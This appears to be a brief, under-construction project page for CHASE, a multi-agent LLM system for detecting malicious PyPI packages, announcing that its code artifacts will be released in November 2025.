CHASE: LLM Agents for Dissecting Malicious PyPI Packages
A high-reliability multi-agent system using a Plan-and-Execute model to detect malicious packages on PyPI. CHASE coordinates specialized agents for robust security analysis, overcoming common LLM weaknesses.
This page is under construction. As we are still tidying up our code, we will upload the artifacts within November, 2025.
This page is under construction. As we are still tidying up our code, we will upload the artifacts within November, 2025.